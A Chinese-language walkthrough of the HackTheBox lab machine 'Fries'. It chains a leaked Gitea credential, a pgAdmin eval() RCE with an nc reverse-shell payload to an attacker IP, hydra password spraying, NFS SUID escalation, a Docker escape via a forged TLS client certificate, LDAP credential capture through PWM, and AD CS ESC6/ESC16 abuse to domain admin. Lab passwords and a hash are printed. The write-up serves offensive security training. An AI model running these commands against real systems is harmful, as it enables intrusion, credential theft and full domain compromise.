HTB Fries 靶机实战记录：从Gitea凭据泄露到AD CS证书攻击的域控沦陷

靶机概览

HTB Fries 是一台难度评级为 HARD 的 Windows/Linux 混合靶机，主要围绕 Web 应用安全、容器化环境渗透、Active Directory 证书服务攻击与复杂权限提升链展开。该靶机完整展示了从代码泄露到容器逃逸，再到 AD CS 证书滥用实现域控完全控制的完整攻击路径，从初始信息收集到最终域管理员权限获取，为渗透测试人员掌握复杂企业环境下的多层级攻击技术提供了深入的实战演练。

信息收集

端口扫描

rustscan -a 10.10.11.96 --ulimit 5000

使用 rustscan 进行快速端口扫描，发现多个开放端口：

PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 62 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 62 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 443/tcp open https syn-ack ttl 62 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127

DNS 解析配置

echo "10.10.11.96 fries.htb dc01.fries.htb" >> /etc/hosts

访问 Web 应用

http://fries.htb

https://fries.htb

使用提供的凭证 [email protected] / D4LE11maan!! 登录

访问 Configuration Manager 和 Configuration Manager

密码自助服务系统 PWM 在尝试连接 LDAP 时出现证书信任问题，Configuration Manager 和 Configuration Manager 需要有效凭证，初始凭据 [email protected] / D4LE11maan!! 在这里均无效，但是这些错误信息暴露了很有价值的内部信息，对于后续行动来说非常有利。

子域名枚举

使用 FFuF 枚举子域名

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -H "Host: FUZZ.fries.htb" -u http://fries.htb -fs 154

发现子域：code.fries.htb

访问 Gitea 实例

使用初始凭据 [email protected] / D4LE11maan!! 成功登录

登录后显示了多条推送记录，查看 Docker Compose 配置文件 docker-compose.yml。

数据库凭据泄漏

敏感数据泄露：

• DATABASE_URL=postgresql://root:[email protected]:5432/ps_db
• SECRET_KEY=y0st528wn1idjk3b9a

信息收集汇总

域名系统

网络服务

凭证信息

在这里种个圣诞树...

是啊

他可能非常粗心

将包含密码的.env文件提交到了仓库

虽然之后删除了

但凭证依旧在推送记录里

凭证泄露问题直接导致了整个系统沦陷

世界上有些东西是无法git reset --hard的

比如推送记录里的密码

比如记忆里的她...

初始访问

CVE-2025-2945

描述

pgAdmin 4（查询工具和云部署模块）中存在一个远程代码执行安全漏洞。该漏洞与两个 POST 端点相关：/sqleditor/query_tool/download 中的 query_committed 参数，以及 /cloud/deploy 中的 high_availability 参数。这些参数被不安全地传递给 Python 的 eval() 函数，从而导致任意代码执行。

参考

NVD漏洞数据库https://nvd.nist.gov/vuln/detail/CVE-2025-2945pgAdmin4查询工具认证RCE PoChttps://github.com/Cycloctane/cve-2025-2945-poc此漏洞影响的 pgAdmin 4 版本为：9.2 之前的所有版本。

利用 pgAdmin 漏洞

使用公开 PoC 执行命令注入，获取反向 Shell：

python3 exp.py --target-url http://db-mgmt05.fries.htb --username [email protected] --password 'D4LE11maan!!' --db-name ps_db --db-user root --db-pass 'PsqLR00tpaSS11' --payload "__import__('os').system('rm /tmp/A033;mkfifo /tmp/A033;cat /tmp/A033|/bin/bash -i 2>&1|nc 10.10.16.28 4033 >/tmp/A033')"

横向移动

环境变量泄露凭据

在容器内执行 env 发现：

• [email protected]
• PGADMIN_DEFAULT_PASSWORD=Friesf000s202511

密码喷射攻击

根据收集到的凭据制作字典

cat > users.txt << "EOF" root pgadmin pgadmin4 svc_infra svc admin administrator guest postfix vmail ftp sshd ntp EOF

cat > passwords.txt << "EOF" D4LE11maan!! PsqlR00tpasS110A y0st528wn1idjk3b9a Friesf00Ds2025!! EOF

使用 hydra 对 SSH 进行密码喷射

hydra -L users.txt -P passwords.txt ssh://10.10.11.96 -vV -t 6 -I -f

成功发现有效凭据：

• 用户：svc
• 密码：Friesf00Ds2025!!

SSH 登录

ssh [email protected]

登录后检查：

svc@web:~$ sudo -l [sudo] password for svc: Sorry, user svc may not run sudo on web. svc@web:~$ id uid=1000(svc) gid=1000(svc) groups=1000(svc) svc@web:~$ ls -la /var/run/docker.sock srw-rw---- 1 root docker 0 Nov 29 04:27 /var/run/docker.sock svc@web:~$ ps aux | grep dockerd root 923 0.0 2.7 1955936 79588 ? Ssl 04:27 0:09 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376

svc 无 sudo 权限，发现 Docker socket 存在，Docker 守护进程以最高权限运行，并且启用 TLS 证书加密验证，配有授权插件进行权限控制，双重访问方式「本地 Socket + 远程加密端口」。

扫描内部网络

python3 -c "import socket; services={22:'SSH', 80:'HTTP', 111:'RPC', 443:'HTTPS', 2049:'NFS', 3000:'Node.js', 8443:'HTTPS-Alt'}; [print(f'Port {p} ({services.get(p, \"Unknown\")}) - Open') for p in [22,80,111,443,2049,3000,8443] if socket.socket().connect_ex(('172.18.0.1', p)) == 0]"

权限提升

发现 NFS 共享

svc@web:~$ showmount -e 172.18.0.1 Export list for 172.18.0.1: /srv/web.fries.htb *

NFS可读写。当在客户端操作 NFS 文件时，服务端只看客户端的 UID 和 GID，这是否是一个权限提升的路径？我们查看一下其他用户的 UID 和 GID。

从 /etc/passwd 中提取的重要用户：

攻击链

现在有NFS内网服务端口，用户的UID和GID，NFS对所有内网IP开放，并且可读写，基于NFS的UID/GID认证机制，我们可以尝试这样的SUID攻击：

Kali (UID 117) → NFS挂载 → 创建恶意SUID文件 → 目标系统执行 → barman权限

在kali上创建冒充barman的用户A033，用Chisel转发NFS端口以支持kali正常访问该服务，在kali上挂载NFS共享，将svc的bash复制到共享目录下，使用A033的身份复制svc的bash并赋予完全权限，这时以svc运行这个具有SUID位的bash时就会从svc用户转移到barman用户。

使用 Chisel 建立隧道

Kali 端：

./chisel server -p 8011 --reverse

目标端：

./chisel_x86 client 10.10.16.28:8011 R:2049:172.18.0.1:2049 R:111:172.18.0.1:111

SUID 提权

在 Kali 上创建匹配用户

sudo groupadd -g 59605603 A033 sudo useradd -u 117 -g 59605603 -M -s /bin/bash A033

挂载 NFS 共享

sudo mount -t nfs -o vers=4,port=2049 localhost:/srv/web.fries.htb /mnt/fries

创建恶意 SUID Shell

svc

# 切换到NFS共享目录 cd /srv/web.fries.htb/shared # 复制bash到共享目录，为后续SUID提权准备 cp /bin/bash /srv/web.fries.htb/shared/svc_bash

A033

# 在NFS共享中复制svc创建的bash文件 cp /mnt/fries/shared/svc_bash /mnt/fries/shared/A033_bash # 设置SUID+SGID权限，使任何用户执行时都以文件所有者权限运行 chmod 6777 /mnt/fries/shared/A033_bash

svc

# 执行SUID bash，-p参数保持特权权限，实现提权 ./A033_bash -p

Oo。成功移动到 barman

Docker TLS 逃逸

共享目录里的证书文件

A033_bash-5.1$ ls -la total 20 drw-r-xr-x 5 655 root 4096 May 28 2025 . drwxr-xr-x 3 root root 4096 May 27 2025 .. drwxrwx--- 2 root infra managers 4096 May 26 2025 certs drwxrwxrwx 2 root root 4096 Nov 29 08:30 shared drwxr----- 5 svc svc 4096 Jun 7 13:30 webroot A033_bash-5.1$ cd certs A033_bash-5.1$ ls ca-key.pem server-cert.pem server-key.pem ca.pem server.csr server-openssl.cnf A033_bash-5.1$ ls -la total 32 drwxrwx--- 2 root infra managers 4096 May 26 2025 . drw-r-xr-x 5 655 root 4096 May 28 2025 .. -rw-r----- 1 root infra managers 1708 Nov 29 08:40 ca-key.pem -rw-r----- 1 root infra managers 1111 Nov 29 08:40 ca.pem -rw-r----- 1 root infra managers 1115 Nov 29 08:40 server-cert.pem -rw-r----- 1 root infra managers 940 Nov 29 08:40 server.csr -rw-r----- 1 root infra managers 1704 Nov 29 08:40 server-key.pem -rw-r----- 1 root infra managers 205 Nov 29 08:40 server-openssl.cnf 

这个运维配置了理论上的安全机制：

• 通信是加密的，很安全！
• 只有有证书的人能连接，很安全！
• 命令还要经过审批，很安全！

但是 barman 属于 infra managers 组，可以读取所有 root 拥有的证书文件，并且 Docker 守护进程现在正以 root 权限运行，barman 可以用 CA 签发伪造证书，绕过 TLS 和插件的认证，提权到 root 掌控整个 WEB 服务器。

生成客户端证书

# 生成 RSA 私钥，用于客户端认证 openssl genrsa -out root-key.pem 2048 # 创建证书签名请求，设置通用名称为 "root" 以绕过授权检查 openssl req -new -key root-key.pem -out root.csr -subj "/CN=root" # 创建扩展配置文件，指定证书用于客户端认证 echo "extendedKeyUsage = clientAuth" > ext.cnf # 使用 CA 证书和私钥签发客户端证书，有效期为 10 年 openssl x509 -req -in root.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out root-cert.pem -days 3650 -extfile ext.cnf

使用伪造的证书连接 Docker API

docker --tlsverify -H=127.0.0.1:2376 --tlscacert=ca.pem --tlscert=root-cert.pem --tlskey=root-key.pem run -it --privileged -v /:/host fries-web bash # 使用伪造的 root 身份证书通过 TLS 认证连接到 Docker 守护进程 # --privileged 赋予容器所有特权 # -v /:/host 将主机根目录挂载到容器内

逃逸到主机

chroot /host # 切换根目录到主机的文件系统 

User Flag

在 /root/.ssh 中找到私钥 id_rsa，保存并登录

ssh -i root_id_rsa [email protected]

成功获取 user flag

域渗透

破解 PWM 配置密码

在 /root/scripts/pwm/config/ 中找到 PWM 的配置文件 PwmConfiguration.xml，在配置文件中搜索密码相关字段找到：

<property key="configPasswordHash">{A033 REDACTED}</property>

使用 John 破解

john --wordlist=/usr/share/wordlists/rockyou.txt pwm_hash.txt

得到密码：[A033_REDACTED]

访问 PWM 配置面板

在 PWM 中使用凭据 [A033_REDACTED] 成功进入 Configuration Editor

• PWM 当前处于配置模式。此模式允许在不先进行 LDAP 目录身份验证的情况下更新配置。此模式下不可使用最终用户功能。
• 在验证 LDAP 目录设置后，请使用配置管理器限制配置以防止未经授权的更改。限制后，配置仍然可以更改，但必须首先进行 LDAP 目录身份验证。

PWM 系统正处于配置模式，完全开放的配置访问，无需LDAP认证即可修改配置。

下载配置文件

在 Configuration Manager 面板可以下载配置文件，这里还有一个有趣的提示：

• 警告：配置下载文件包含敏感的安全信息，包括安全凭证，请妥善处理。

检索配置文件

• <property key="configIsEditable">true</property> #配置模式
• <value>{"type":"ldapUser","ldapBase":"CN=svc_infra,CN=Users,DC=fries,DC=htb"}</value>#svc_infra 是 PWM 管理员，也是 LDAP 代理账户

当 PWM 认证用户时，会执行 LDAP bind 操作，LDAP Bind 请求包含：

• bind_dn = "CN=用户名,CN=Users,DC=fries,DC=htb"
• password = "用户密码"

那么利用配置模式修改LDAP设置，使用 Metasploit 的 LDAP 捕获模块，就可以获取到 svc_infra 或其他用户的凭证。

PWM 认证劫持

在 PWM 中添加恶意 LDAP 服务器

ldap://10.10.16.28:4033

正常认证流程：

用户登录PWM → PWM向10.10.16.3:389发送认证请求 → 真实LDAP验证 → 返回结果

攻击后的流程：

用户登录PWM → PWM向攻击者IP:4033发送认证请求 → 攻击者捕获凭证 → 返回失败

MSF 捕获凭证

use auxiliary/server/capture/ldap set SRVHOST 0.0.0.0 set SRVPORT 4033 run

┌──(kali㉿Nuii)-[~] └─$ nxc ldap fries.htb -u 'svc_infra' -p '{A033_REDACTED}' LDAP 10.10.11.96 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) LDAP 10.10.11.96 389 DC01 [+] fries.htb\svc_infra:{A033_REDACTED}

捕获到 svc_infra 的密码：[A033_REDACTED]

服务枚举

目标环境：

• 域控制器: DC01.fries.htb (10.10.11.96)
• 操作系统: Windows Server 2019 Build 17763
• 域: fries.htb
• 有效账户: svc_infra

认证结果：

LDAP 服务凭证有效，使用 LDAP 凭证进行 BloodHound 信息收集。

BloodHound 信息收集

时钟同步

sudo ntpdate 10.10.11.96

NetExec 收集域信息

nxc ldap 10.10.11.96 -u 'svc_infra' -p '{A033_REDACTED}' --bloodhound --collection All --dns-server 10.10.11.96

BloodHound 分析

将收集的数据导入BloodHound进行分析

账户详情：

• 名称： [email protected]
• 类型： 组托管服务账户 (GMSA)
• 描述： "用于证书颁发机构操作的 GroundArrayedServiceAccount"

域信息：

• 域： FRIES.HTB
• 域 SID： S-1-S-21-858338346-3861000516-3975240472

SVC_INFRA 账户有权读取此 GMSA 的密码（ReadGMSAPassword），我们已经有 SVC_INFRA 的有效凭证，可以提取 GMSA_CA_PROD 的密码。GMSA 专为服务设计，具有自动管理的密码，并且此账户用于证书颁发机构操作，可能具有高度特权。

获取 GMSA 哈希

nxc ldap 10.10.11.96 -u svc_infra -p '{A033_REDACTED}' --gmsa

得到：

• 账户：gMSA_CA_prod$
• NTLM 哈希：[A033_REDACTED]

SharpHound 信息收集

上传 SharpHound

Invoke-WebRequest -Uri "http://10.10.16.28:8033/SharpHound.exe" -OutFile "SharpHound.exe"

使用数据收集器执行所有可能的信息收集方法

.\SharpHound.exe -c All --domain fries.htb --domaincontroller 10.10.11.96 --OutputPrefix A033

下载数据压缩包

download A033_20251129060804_BloodHound.zip

BloodHound 分析

将收集的数据导入BloodHound进行分析

从 BloodHound 可以清晰的看到，SVC_INFRA 是 DOMAIN USERS 组的成员 ，继承该组的所有权限，DOMAIN USERS 对多个证书模板（CLIENTAUTH/EFS/USERSIGNATURE/USER）有Enroll权限，意味着 SVC_INFRA 不仅能篡改 CA 策略，还能直接用自己的身份申请这些模板的证书。简单来说，SVC_INFRA 本身就同时握有 GMSA 权限（控制 CA）和证书模板 Enroll 权限（申请证书），相当于 “钥匙和锁都在手里”，完美具备 AD CS 攻击的能力。

攻击链

权限继承链：

SVC_INFRA → ReadGMSAPassword → GMSA_CA_PROD$ (CA服务账户) SVC_INFRA → Domain Users成员 → 证书模板Enroll权限

SVC_INFRA 这个账户同时拥有：

• "颁发者"权限（通过控制CA服务账户）
• "申请者"权限（通过Domain Users组成员）

SVC_INFRA 这种既当"颁发者"又当"申请者"，这直接造就了 SVC_INFRA 的存在就是漏洞本身。

AD CS 证书攻击（ESC6 + ESC16）

添加 Officer 权限

certipy-ad ca -u '[email protected]' -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -target DC01.fries.htb -dc-ip 10.10.11.96 -add-officer 'gMSA_CA_prod$'

• 添加 Officer 权限，获取CA管理控制权
• 将GMSA_CA_PROD$账户添加为证书颁发机构(CA)的管理员
• 利用GMSA账户的哈希认证获取CA管理权限，为后续修改CA策略做准备

启用 ESC6

.\Certify.exe manage-ca --ca FRIES.HTB\fries-DC01-CA --esc6

• 启用EDITF_ATTRIBUTESUBJECTALTNAME2标志
• 允许在证书请求中通过SAN(主体替代名称)字段指定任意UPN
• 即使证书模板配置安全，也能通过SAN字段为任意用户申请证书

启用 ESC16

.\Certify.exe manage-ca --ca FRIES.HTB\fries-DC01-CA --esc16

• 启用MANAGE_CERTIFICATES权限
• 允许CA管理员修改任意证书模板的安全描述符(ACL)
• 可以给任意账户添加高权限模板的Enroll权限

重启证书服务

Stop-Service certsvc -force Start-Service certsvc

• ESC6和ESC16的配置修改需要重启证书服务才能生效

请求管理员证书

certipy-ad req -u '[email protected]' -p m6tneOMAh5p0wQ0d -ca fries-DC01-CA -template User -subject "CN=Administrator,CN=Users,DC=fries,DC=htb" -upn [email protected] -sid 'S-1-5-21-858338346-3861030516-3975240472-500' -dc-ip 10.10.11.96 -dcom

• - -upn [email protected]: 通过SAN字段指定管理员UPN
• - -subject: 指定管理员DN
• - -sid: 指定管理员SID

认证获取管理员哈希

certipy-ad auth -pfx administrator.pfx -username administrator -domain fries.htb -dc-ip 10.10.11.96

• 使用证书认证获取管理员哈希
• 将管理员证书转换为可用的NT哈希和Kerberos票据

成功获取管理员 NTLM 哈希和 Kerberos 票据

Root Flag

使用管理员 NTLM 哈希登录

evil-winrm -u administrator -H {A033_REDACTED} -i 10.10.11.96

在 C:\Users\Administrator\Desktop\ 中找到root.txt